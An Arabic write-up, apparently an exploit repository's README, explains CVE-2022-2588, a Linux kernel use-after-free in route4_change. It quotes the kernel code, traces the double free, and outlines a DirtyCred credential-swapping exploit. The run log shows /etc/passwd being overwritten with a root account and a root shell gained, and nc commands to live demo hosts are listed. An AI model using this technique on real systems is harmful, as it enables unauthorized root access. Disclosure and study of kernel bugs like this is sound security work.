
# تفاصيل CVE-2022-2588 واستغلاله شرح مفصّل وكود استغلال لثغرة CVE-2022-2588، وهي ثغرة استخدام-بعد-التحرير (use-after-free) في نواة لينكس داخل الدالة route4_change، تؤدي إلى تصعيد الامتيازات عبر التحرير المزدوج (double-free) وتبديل بيانات الاعتماد (credential swapping).
تم إصلاح الخطأ في Linux v5.19 عبر هذا الالتزام.
تم إدخال الخطأ في Linux v3.17 عبر هذا الالتزام في عام 2014. يتطلب تفعيل User Namespaces ليتم استغلاله. هذا الخطأ مشابه جداً لـ CVE-2021-3715، والذي نتج عن عملية غير سليمة على القائمة المرتبطة الخاصة بـ route4_filter. يمكن العثور على مزيد من التفاصيل حول CVE-2021-3715 في محاضرة بلاك هات (صفحة 16). فيما يلي بعض التفاصيل المختصرة عن CVE-2022-2588.
يعرض ما يلي بعض المقاطع البرمجية المهمة من الدالة route4_change لفهم CVE-2022-2588.
static int route4_change(...)
{
...
f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); [0]
...
// if there exists a filter with the same handler, copy some information
if (fold) { [1]
f->id = fold->id;
f->iif = fold->iif;
f->res = fold->res;
f->handle = fold->handle;
f->tp = fold->tp;
f->bkt = fold->bkt;
new = false;
}
// initialize the new filter
err = route4_set_parms(net, tp, base, f, handle, head, tb, [2]
tca[TCA_RATE], new, flags, extack);
if (err < 0)
goto errout;
// insert the new filter to the list
h = from_hash(f->handle >> 16); [3]
fp = &f->bkt->ht[h];
for (pfp = rtnl_dereference(*fp);
(f1 = rtnl_dereference(*fp)) != NULL;
fp = &f1->next)
if (f->handle < f1->handle)
break;
tcf_block_netif_keep_dst(tp->chain->block);
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);
// remove fold filter from the list if fold exists
if (fold && fold->handle && f->handle != fold->handle) { [4]
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h];
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next); [5]// remove the old from the linked list
break;
}
}
}
}
...
// free the fold filter if it exists [6]
if (fold) {
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work);
}
تم تنفيذ الدالة لتهيئة/استبدال كائن route4_filter. يستخدم الفلتر handle كمعرّف فريد للتمييز بين كل فلتر. إذا وُجد معرّف تمت تهيئته مسبقاً (أي أن المتغير fold ليس فارغاً)، فسيتم تحديث الفلتر عن طريق إزالة الفلتر القديم وإضافة فلتر جديد، وإلا فسيتم فقط إضافة فلتر جديد.
في [0]، تخصص النواة كائن route4_filter. في [1]، إذا لم يكن fold فارغاً، مما يعني وجود فلتر بنفس المعرّف، فسيتم نسخ بعض المعلومات إلى الفلتر الجديد وتهيئة الفلتر الجديد في [2]، ثم إدراج الفلتر الجديد في القائمة في [3]. إذا كان الفلتر القديم موجوداً، فسيتم إزالته من القائمة في [4] وتحريره في [6].
يحدث الخطأ في [4]، حيث يتم التحقق من وجود فلتر قديم يجب إزالته. يضمن الشرط ألا يكون المعرّف صفراً وأن يطابق معرّف الفلتر الجديد. لا يتوافق هذا الشرط مع شرط تحرير الفلتر في [6]، الذي يتحقق فقط من وجود الفلتر القديم. لذلك، إذا أنشأ المستخدمون فلتراً بمعرّف قيمته 0، ثم قاموا باستبداله، فلن يتم فصل الفلتر في [4] لكنه سيُحرر في [6] لأن الشرطين ليسا متطابقين.
نظراً لأن هذا الخطأ مشابه لـ CVE-2021-3715، فإن البدائيات (primitives) الخاصة بهما متطابقة تقريباً. يمكن للقراء الرجوع إلى محاضرة بلاك هات للحصول على وصف أكثر تفصيلاً للبدائيات. يعرض هذا التقرير الاستغلال باستخدام فكرة DirtyCred.
نظراً لأن fold المُحرر لا يزال موجوداً في القائمة المرتبطة بعد استدعاء الخطأ، يمكننا تحرير fold مرة أخرى، مما سيؤدي في النهاية إلى تحرير مزدوج لكائن route4_filter وكائن route4_filter->exts.action إذا تم تفعيل CONFIG_NET_CLS_ACT.
تستخدم أكواد الاستغلال هاتين الخاصيتين للتحرير المزدوج لإظهار الهجوم على بيانات اعتماد المهام (باستخدام تحرير مزدوج لحجم kmalloc-192، قريباً) وبيانات اعتماد الملفات المفتوحة (باستخدام تحرير مزدوج لحجم kmalloc-256).
باتباع فكرة DirtyCred، يتبادل كود الاستغلال بيانات اعتماد الملف بعد فحوصات الصلاحيات، حتى نتمكن من كتابة أي محتوى إلى ملفات لدينا صلاحية قراءتها فقط. من الناحية المثالية، يمكن أن يعمل الكود عبر جميع إصدارات النواة المتأثرة بالخطأ. تجدر الإشارة إلى أنه لضمان عمل الكود على النوى الأقدم حيث يكون msg_msg معزولاً في kmalloc-rcl-*، يستخدم الاستغلال كائناً مختلفاً للرش (spray).
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096 hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)
تمت كتابة الاستغلال ليعمل على أكبر عدد ممكن من التوزيعات. تم التأكيد على أنه يعمل على:
(لا تتردد في إرسال PR لتحديث هذا إذا وجدت أنه يعمل على نوى أخرى.)
يرجى تسجيل الدخول باسم المستخدم low وكلمة المرور low
Ubuntu 20
nc 150.136.171.117 1337
Centos 8
nc 150.136.171.117 1338